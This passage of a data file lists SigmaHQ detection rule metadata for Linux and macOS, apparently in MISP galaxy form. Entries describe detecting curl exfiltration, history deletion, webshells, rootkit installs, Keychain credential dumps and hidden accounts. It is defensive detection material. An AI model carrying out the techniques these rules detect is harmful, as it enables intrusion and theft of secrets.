"https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567", - "attack.t1105" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_susp_curl_fileupload.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Scripts created by developers and admins" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects a suspicious curl process start on linux with set useragent options", - "uuid": "b86d356d-6093-443d-971c-9b07db583c68", - "value": "Suspicious Curl Change User Agents - Linux", - "meta": { - "refs": [ - "https://curl.se/docs/manpage.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_susp_curl_useragent.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", - "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f", - "value": "History File Deletion", - "meta": { - "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565.001" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_lnx_susp_history_delete.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", - "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66", - "value": "Print History File Contents", - "meta": { - "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1592.004" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_lnx_susp_history_recon.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", - "uuid": "ea3ecad2-db86-4a89-ad0b-132a10d2db55", - "value": "Interactive Bash Suspicious Children", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml" - ], - "tags": "No established tags", - "creation_date": "2022/03/14", - "filename": "proc_creation_lnx_susp_interactive_bash.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate software that uses these patterns" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects java process spawning suspicious children", - "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892", - "value": "Suspicious Java Children Processes", - "meta": { - "refs": [ - "https://www.tecmint.com/different-types-of-linux-shells/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/03", - "filename": "proc_creation_lnx_susp_java_children.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", - "uuid": "880973f3-9708-491c-a77b-2a35a1921158", - "value": "Linux Shell Pipe to Shell", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ], - "creation_date": "2022/03/14", - "filename": "proc_creation_lnx_susp_pipe_shell.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate software that uses these patterns" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", - "uuid": "0cf7a157-8879-41a2-8f55-388dd23746b7", - "value": "Linux Recon Indicators", - "meta": { - "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1592.004", - "attack.credential_access", - "attack.t1552.001" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_lnx_susp_recon_indicators.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects system information discovery commands", - "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239", - "value": "System Information Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_lnx_system_info_discovery.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of system utilities to discover system network connections", - "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79", - "value": "System Network Connections Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_lnx_system_network_connections_discovery.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects enumeration of local network configuration", - "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa", - "value": "System Network Discovery - Linux", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_lnx_system_network_discovery.yml", - "author": "\u00d6mer G\u00fcnal and remotephone, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", - "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", - "value": "Triple Cross eBPF Rootkit Execve Hijack", - "meta": { - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" - ], - "creation_date": "2022/07/05", - "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", - "uuid": "22236d75-d5a0-4287-bf06-c93b1770860f", - "value": "Triple Cross eBPF Rootkit Install Commands", - "meta": { - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1014" - ], - "creation_date": "2022/07/05", - "filename": "proc_creation_lnx_triple_cross_rootkit_install.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious sub processes of web server processes", - "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7", - "value": "Linux Webshell Indicators", - "meta": { - "refs": [ - "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", - "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2021/10/15", - "filename": "proc_creation_lnx_webshell_detection.yml", - "author": "Florian Roth, Nasreddine Bencherchali (update)", - "level": "high", - "falsepositive": [ - "Web applications that invoke Linux command line tools" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", - "uuid": "23c43900-e732-45a4-8354-63e4a6c187ce", - "value": "MacOS Emond Launch Daemon", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md", - "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.014" - ], - "creation_date": "2020/10/23", - "filename": "file_event_macos_emond_launch_daemon.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "file_event", - "logsource.product": "macos" - } - }, - { - "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", - "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", - "value": "Startup Items", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1037.005" - ], - "creation_date": "2020/10/14", - "filename": "file_event_macos_startup_items.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "file_event", - "logsource.product": "macos" - } - }, - { - "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", - "uuid": "1bc2e6c5-0885-472b-bed6-be5ea8eace55", - "value": "MacOS Scripting Interpreter AppleScript", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.002" - ], - "creation_date": "2020/10/21", - "filename": "proc_creation_macos_applescript.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "medium", - "falsepositive": [ - "Application installers might contain scripts as part of the installation process." - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", - "uuid": "719c22d7-c11a-4f2c-93a6-2cfdd5412f68", - "value": "Decode Base64 Encoded Text", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_base64_decode.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", - "uuid": "95361ce5-c891-4b0a-87ca-e24607884a96", - "value": "Binary Padding", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_binary_padding.yml", - "author": "Igor Fits, Mikhail Larin, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate script work" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detect file time attribute change to hide new or changes to existing files", - "uuid": "88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0", - "value": "File Time Attribute Change", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_change_file_time_attr.yml", - "author": "Igor Fits, Mikhail Larin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects deletion of local audit logs", - "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa", - "value": "Indicator Removal on Host - Clear Mac System Logs", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.002" - ], - "creation_date": "2020/10/11", - "filename": "proc_creation_macos_clear_system_logs.yml", - "author": "remotephone, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", - "uuid": "51719bf5-e4fd-4e44-8ba8-b830e7ac0731", - "value": "Creation Of A Local User Account", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" - ], - "tags": [ - "attack.t1136.001", - "attack.persistence" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_macos_create_account.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", - "uuid": "b22a5b36-2431-493a-8be1-0bae56c28ef3", - "value": "Hidden User Creation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.002" - ], - "creation_date": "2020/10/10", - "filename": "proc_creation_macos_create_hidden_account.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects passwords dumps from Keychain", - "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955", - "value": "Credentials from Password Stores - Keychain", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", - "https://gist.github.com/Capybara/6228955", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_creds_from_keychain.yml", - "author": "Tim Ismilyaev, oscd.community, Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects disabling security tools", - "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0", - "value": "Disable Security Tools", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_disable_security_tools.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects usage of system utilities to discover files and directories", - "uuid": "089dbdf6-b960-4bcc-90e3-ffc3480c20f6", - "value": "File and Directory Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_file_and_directory_discovery.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detecting attempts to extract passwords with grep and laZagne", - "uuid": "53b1b378-9b06-4992-b972-dde6e423d2b4", - "value": "Credentials In Files", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_find_cred_in_files.yml", - "author": "Igor Fits, Mikhail Larin, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects attempts to use system dialog prompts to capture user credentials", - "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541", - "value": "GUI Input Capture - macOS", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", - "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1056.002" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_macos_gui_input_capture.yml", - "author": "remotephone, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration tools and activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects enumeration of local systeam accounts on MacOS", - "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c", - "value": "Local System Accounts Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_macos_local_account.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects enumeration of local system groups", - "uuid": "89bb1f97-c7b9-40e8-b52b-7d6afbd67276", - "value": "Local Groups Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2020/10/11", - "filename": "proc_creation_macos_local_groups.yml", - "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects enumeration of local or remote network services.", - "uuid": "84bae5d4-b518-4ae0-b331-6d4afd34d00f", - "value": "MacOS Network Service Scanning", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2020/10/21", - "filename": "proc_creation_macos_network_service_scanning.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", - "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043", - "value": "Network Sniffing", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ], - "creation_date": "2020/10/14", - "filename": "proc_creation_macos_network_sniffing.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", - "uuid": "234dc5df-40b5-49d1-bf53-0d44ce778eca", - "value": "Payload Decoded and Decrypted via Built-in Utilities", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml" - ], - "tags": [ - "attack.t1059", - "attack.t1204", - "attack.execution", - "attack.t1140", - "attack.defense_evasion", - "attack.s0482", - "attack.s0402" - ], - "creation_date": "2022/10/17", - "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects the enumeration of other remote systems.", - "uuid": "10227522-8429-47e6-a301-f2b2d014e7ad", - "value": "Macos Remote System Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2020/10/22", - "filename": "proc_creation_macos_remote_system_discovery.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", - "uuid": "7c3b43d8-d794-47d2-800a-d277715aa460", - "value": "Scheduled Cron Task/Job", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1053.003" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_macos_schedule_task_job_cron.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects attempts to use screencapture to collect macOS screenshots", - "uuid": "0877ed01-da46-4c49-8476-d49cdd80dfa7", - "value": "Screen Capture - macOS", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_macos_screencapture.yml", - "author": "remotephone, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate user activity taking screenshots" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", - "uuid": "0ed75b9c-c73b-424d-9e7d-496cd565fbe0", - "value": "Security Software Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_security_software_discovery.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", - "uuid": "b6e2a2e3-2d30-43b1-a4ea-071e36595690", - "value": "Space After Filename - macOS", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.006" - ], - "creation_date": "2021/11/20", - "filename": "proc_creation_macos_space_after_filename.yml", - "author": "remotephone", - "level": "low", - "falsepositive": [ - "Mistyped commands or legitimate binaries named to match the pattern" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", - "uuid": "7f2bb9d5-6395-4de5-969c-70c11fbe6b12", - "value": "Split A File Into Pieces", - 